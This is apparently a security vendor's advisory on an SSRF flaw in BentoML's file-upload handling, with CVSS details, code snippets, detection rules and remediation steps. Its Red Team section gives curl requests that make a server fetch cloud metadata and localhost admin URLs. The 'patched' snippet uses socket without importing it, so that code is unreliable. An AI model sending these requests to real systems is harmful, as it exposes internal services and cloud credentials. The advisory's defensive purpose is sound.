CVE-2025-54381

Executive Summary

CVE-2025-54381 is a critical Server-Side Request Forgery (SSRF) vulnerability in BentoML, a Python library for building online serving systems optimized for AI applications and model inference. The vulnerability resides in the file upload processing system, specifically within the multipart form data and JSON request handlers. These handlers automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. This design flaw allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests, potentially leading to internal network reconnaissance, cloud metadata exfiltration, and further lateral movement. The vulnerability affects versions 1.4.0 through 1.4.18, with version 1.4.19 containing the fix. The CVSS score is 9.9 (Critical), and the EPSS score is 0.0%, indicating low exploitation probability at this time, but the impact is severe.

Supply Chain & Package Security

This vulnerability affects the BentoML Python package distributed via PyPI. Organizations using BentoML in their AI/ML serving infrastructure should immediately assess their exposure. The package is widely used in MLOps pipelines and may be included as a dependency in container images or deployed directly. The SSRF vector can be exploited without authentication, making it a high-priority supply chain risk. Ensure that all deployments are updated to version 1.4.19 or later, and consider scanning for any instances of the vulnerable package in your software bill of materials (SBOM).

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High (H) – Full read access to internal resources.
• Integrity (I): High (H) – Potential to modify internal state.
• Availability (A): High (H) – Potential to disrupt services.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is rooted in BentoML's file upload processing system. The system is designed to accept file uploads via multipart form data or JSON requests. In the vulnerable versions, when a user provides a URL in the file upload field, the server automatically downloads the file from that URL without any validation. This is an intended design feature, as documented, but it exposes the server to SSRF attacks.

Attack Flow:

1. An attacker sends a crafted HTTP request to a BentoML service endpoint that accepts file uploads.
2. The request includes a URL pointing to an internal resource (e.g., http://169.254.169.254/latest/meta-data/ for AWS cloud metadata, or http://localhost:8080/admin for internal services).
3. The BentoML server processes the request, downloads the file from the attacker-controlled URL, and potentially stores or processes it.
4. The attacker can then exfiltrate the downloaded content or observe side effects (e.g., timing differences, error messages) to gather information about the internal network.

Key Components:

• Multipart Form Data Handler: Processes file uploads from HTML forms.
• JSON Request Handler: Processes JSON payloads with file URLs.
• URL Download Function: Fetches the file from the provided URL without validation.

The lack of URL validation (e.g., checking against private IP ranges, loopback addresses, or cloud metadata endpoints) is the core flaw.

Vulnerable vs. Patched Code

Vulnerable Code (versions < 1.4.19):

# In the file upload handler
def handle_file_upload(request):
    file_url = request.get('file_url')
    if file_url:
        # Directly download from user-provided URL without validation
        response = requests.get(file_url)
        file_content = response.content
        # Process file...

Patched Code (version 1.4.19):

# In the file upload handler
import ipaddress
from urllib.parse import urlparse

def is_safe_url(url):
    parsed = urlparse(url)
    try:
        host = socket.gethostbyname(parsed.hostname)
        ip = ipaddress.ip_address(host)
        # Block private, loopback, link-local, and cloud metadata IPs
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False
        # Additional check for cloud metadata endpoints
        if parsed.hostname in ['169.254.169.254', 'metadata.google.internal']:
            return False
        return True
    except:
        return False

def handle_file_upload(request):
    file_url = request.get('file_url')
    if file_url and is_safe_url(file_url):
        response = requests.get(file_url)
        file_content = response.content
        # Process file...
    else:
        raise ValueError("Invalid or unsafe file URL")

The patch adds URL validation to block internal and cloud metadata endpoints.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable BentoML service (version 1.4.0 to 1.4.18) in a Docker container.
2. Set up a simple internal service (e.g., a web server on port 8080) to simulate an internal resource.
3. Use a cloud metadata endpoint simulator (e.g., http://169.254.169.254/).

Exploitation Steps:

1. Identify a BentoML endpoint that accepts file uploads (e.g., /upload).
2. Craft a request with a malicious URL:

   curl -X POST http://target:3000/upload \
     -H "Content-Type: multipart/form-data" \
     -F "file=@/dev/null;type=application/octet-stream" \
     -F "file_url=http://169.254.169.254/latest/meta-data/"
   

3. Observe the response for exfiltrated data or error messages that reveal internal information.
4. For JSON-based uploads:

   curl -X POST http://target:3000/upload \
     -H "Content-Type: application/json" \
     -d '{"file_url": "http://localhost:8080/admin"}'
   

Expected Outcome: The server downloads the content from the internal URL and returns it in the response or stores it, allowing the attacker to access internal resources.

Blue Team

Detection:

• Monitor outbound HTTP requests from BentoML servers to unexpected destinations (e.g., private IP ranges, cloud metadata IPs).
• Look for requests with file_url parameters pointing to internal addresses.
• Use network segmentation to restrict outbound traffic from BentoML containers.

Mitigation:

• Immediately upgrade to BentoML 1.4.19 or later.
• Implement a Web Application Firewall (WAF) rule to block requests containing file_url with private IPs or cloud metadata endpoints.
• Apply network policies to prevent BentoML servers from making outbound requests to internal networks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from BentoML servers to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to cloud metadata endpoints (169.254.169.254, metadata.google.internal, 100.100.100.200).
  • Requests to loopback addresses (127.0.0.1, localhost).
• File IOCs:
  • Unexpected files in the BentoML upload directory originating from internal URLs.
• Log IOCs:
  • Log entries showing file_url parameters with suspicious URLs.
  • Error messages indicating failed downloads from internal addresses.

Detection Engineering

YARA Rule

rule CVE_2025_54381_BentoML_SSRF {
    meta:
        description = "Detects BentoML file upload requests with suspicious file_url parameters indicating SSRF attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54381"
    strings:
        $s1 = "file_url" ascii wide nocase
        $s2 = "169.254.169.254" ascii wide
        $s3 = "metadata.google.internal" ascii wide
        $s4 = "localhost" ascii wide
        $s5 = "127.0.0.1" ascii wide
        $s6 = "10." ascii wide
        $s7 = "172.16." ascii wide
        $s8 = "192.168." ascii wide
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6, $s7, $s8)
}

Sigma Rule

title: BentoML SSRF Attempt via file_url Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to BentoML endpoints with file_url parameter pointing to internal or cloud metadata IPs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'file_url='
    keywords:
        - '169.254.169.254'
        - 'metadata.google.internal'
        - 'localhost'
        - '127.0.0.1'
        - '10.'
        - '172.16.'
        - '192.168.'
    condition: selection and keywords
falsepositives:
    - Legitimate use of external file URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54381 BentoML SSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"file_url"; http_client_body; pcre:"/(169\.254\.169\.254|metadata\.google\.internal|localhost|127\.0\.0\.1|10\.|172\.16\.|192\.168\.)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade BentoML: Update to version 1.4.19 or later. This is the primary fix.
2. Network Segmentation: Ensure BentoML servers cannot make outbound requests to internal networks or cloud metadata endpoints.
3. WAF Rules: Deploy WAF rules to block requests with file_url pointing to private IPs or known cloud metadata IPs.
4. Input Validation: If immediate upgrade is not possible, implement a reverse proxy or middleware that validates file URLs before they reach BentoML.

Long-Term Measures:

• Code Review: Review all file upload functionality for similar SSRF vulnerabilities.
• Security Testing: Include SSRF testing in your CI/CD pipeline.
• Monitoring: Set up alerts for outbound requests to suspicious destinations from BentoML servers.

Valters IT – Securing your AI/ML infrastructure.